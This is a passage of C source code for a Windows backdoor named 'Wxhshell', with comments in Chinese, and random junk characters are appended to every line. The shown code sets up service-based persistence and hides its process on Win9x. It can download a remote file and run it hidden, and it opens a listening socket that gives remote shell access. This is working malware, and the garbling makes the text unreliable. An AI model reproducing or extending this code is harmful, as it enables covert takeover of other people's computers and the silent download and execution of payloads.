ULONG InheritedFromUniqueProcessId; Wa.xm_4s2
} PROCESS_BASIC_INFORMATION; 8Dtpb7\o
53ZbtEwhwr
PROCNTQSIP NtQueryInformationProcess; <82&F
e1E_$oJP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oQ/T5cOj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oIx|)[
(~{Y}n]s
HANDLE hProcess; 94dd )/a
PROCESS_BASIC_INFORMATION pbi; 6|
o S 5
v<g~EjzCf
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CueC![pj
if(NULL == hInst ) return 0; Sy1O;RTn`
|[mmEYc
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <%%)C>l
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3h>L0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H~vrCi~t"
+
jeOZ
if (!NtQueryInformationProcess) return 0; E@xrn+L>-
&fWC-|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i^iu#WC
if(!hProcess) return 0; 4k3pm&
$oM>?h_=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1L'Q;?&2H,
bEmN
tp^
CloseHandle(hProcess); 0%[IG$u)|
kh=<M{-t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p4k}B. f
if(hProcess==NULL) return 0; X=abaKl
irq{ 21
HMODULE hMod; [wm0a4fg
char procName[255]; 9_jiUZFje
unsigned long cbNeeded; M&29J
o3|4PAA/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PH:5
#X%!7tU6
CloseHandle(hProcess); p U !:
y9R%%i
if(strstr(procName,"services")) return 1; // 以服务启动 jVN06,3z
NQ[X=a8N
return 0; // 注册表启动 ty#6%
} Zr2T^p5u
\<`oW>
// 主模块 XR7v\rd
int StartWxhshell(LPSTR lpCmdLine) rFzj\%xa[
{ tN\I2wm
SOCKET wsl; o@.{|j
BOOL val=TRUE; qWWt5rJ
int port=0; lOeX5%$Z
struct sockaddr_in door; !1i-"rR
R-NM ~gp
if(wscfg.ws_autoins) Install(); &k_*Y-l7]
umq6X8K
port=atoi(lpCmdLine); T*0;3&sA
Keo<#Cc?
if(port<=0) port=wscfg.ws_port; hF@%k
;I
zng.(]U/?H
WSADATA data; 0k16f3uI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *<67h*|)
r5nHYV&7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gYrB@W;2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +jwk4BU
door.sin_family = AF_INET; `|Di?4+6%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z#Nw[>NN*
door.sin_port = htons(port); c?_7e9}2
d|Wqx7t]P
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =JfwHFHd#
closesocket(wsl); 9oGcbD4*
return 1; sK+uwt
} 9U.Ctx:F
!i (V.A
if(listen(wsl,2) == INVALID_SOCKET) { fi*b]a\'
closesocket(wsl); $6*Yh-"g
return 1; "p;tj74O9
} jxkQ #Y
Wxhshell(wsl); &uO-h
WSACleanup(); 612,J
F$
G)vskd
return 0; '5$@I{z
k]r4b`x`
} C^4,L
\E
3fQ`}OcNr
// 以NT服务方式启动 }cCIYt\RK
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Lt$~}*&6
{ #'>)?]tn
DWORD status = 0; Bx5xtJ|!
DWORD specificError = 0xfffffff; #9[>
#CI0G
serviceStatus.dwServiceType = SERVICE_WIN32; \rxjvV4fcZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; z{w %pUn}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G]k[A=dg
serviceStatus.dwWin32ExitCode = 0; @SxZ>|r-|v
serviceStatus.dwServiceSpecificExitCode = 0; :* ]#n
serviceStatus.dwCheckPoint = 0; XK/l1E3N
serviceStatus.dwWaitHint = 0; j;y(to-e>D
u4xtlGt5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )mwwceN
if (hServiceStatusHandle==0) return; pA_u;*
~?aFc)
status = GetLastError();
A~nqSe
if (status!=NO_ERROR) sPW:[
{ uk$MQv*D
serviceStatus.dwCurrentState = SERVICE_STOPPED; H3R{+7
serviceStatus.dwCheckPoint = 0; 59j`Z^e
serviceStatus.dwWaitHint = 0; {p/Yz#
serviceStatus.dwWin32ExitCode = status; +kYp!00
serviceStatus.dwServiceSpecificExitCode = specificError; ]k]bLyz\J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3>L5TYa
return; }MMKOr(
} \ Xh
C
)6p6<y
serviceStatus.dwCurrentState = SERVICE_RUNNING; Nb ~J'"
serviceStatus.dwCheckPoint = 0; b,+KXx
serviceStatus.dwWaitHint = 0; zT&"rcT">
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e
}C,)
} *@#Gc%mGu
N]iarYc
// 处理NT服务事件,比如:启动、停止 Q) aZ0 Pt
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,|VLOY^
{ PH8
88O
switch(fdwControl) ,@;|+C
{ )Z/w|5<
case SERVICE_CONTROL_STOP: P
nE7}
serviceStatus.dwWin32ExitCode = 0; 9{A4>
serviceStatus.dwCurrentState = SERVICE_STOPPED;
*?1\S^7R
serviceStatus.dwCheckPoint = 0; Tb2#y]27
serviceStatus.dwWaitHint = 0; o*7NyiJ@z
{ 6U8esPs,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); sj/k';#g
} Jv3G\9_
return; Gchs$^1`t
case SERVICE_CONTROL_PAUSE: ;Krs*3
s
serviceStatus.dwCurrentState = SERVICE_PAUSED; &W<9#RPK'
break; "DvZCf[}
case SERVICE_CONTROL_CONTINUE: K7JZUS`C!
serviceStatus.dwCurrentState = SERVICE_RUNNING; iVeH\a
break; P~!,"rY
case SERVICE_CONTROL_INTERROGATE: MLTS<pW/
break; gS[B;+d
}; ;g#nGs>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7w9'xY
} tx<^PV2
hVB(*WA^D
// 标准应用程序主函数 ,Il) t H
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^}vf
{ @UdF6:T
3D@3jyo:
// 获取操作系统版本 c9jS
!uDMK
OsIsNt=GetOsVer(); n>eDN\5
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y{dX[^[
7n84`|=
// 从命令行安装 I`IW^eZM
if(strpbrk(lpCmdLine,"iI")) Install(); BH}Cx[n?~
"eTALRL'o
// 下载执行文件
MYVVI1A
if(wscfg.ws_downexe) { *u|1Z%XO
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PPG+~.7
WinExec(wscfg.ws_filenam,SW_HIDE); t D
8l0
} xa]yq%
yId1J
if(!OsIsNt) { Y[PC<-fyf
// 如果时win9x,隐藏进程并且设置为注册表启动 aLW3Ub{h
HideProc(); Sw>>]UjU
StartWxhshell(lpCmdLine); rt*>)GI]b
} 5o4KV?"
else b1'849i'y=
if(StartFromService()) `IBNBJy
// 以服务方式启动 5cA:;{z];g
StartServiceCtrlDispatcher(DispatchTable); v]Pyz<+
else R%2.N!8v
// 普通方式启动 7>MG8pf3a
StartWxhshell(lpCmdLine);
2o[ceEg
gx^!&>eIb#
return 0; w]h8KNt
}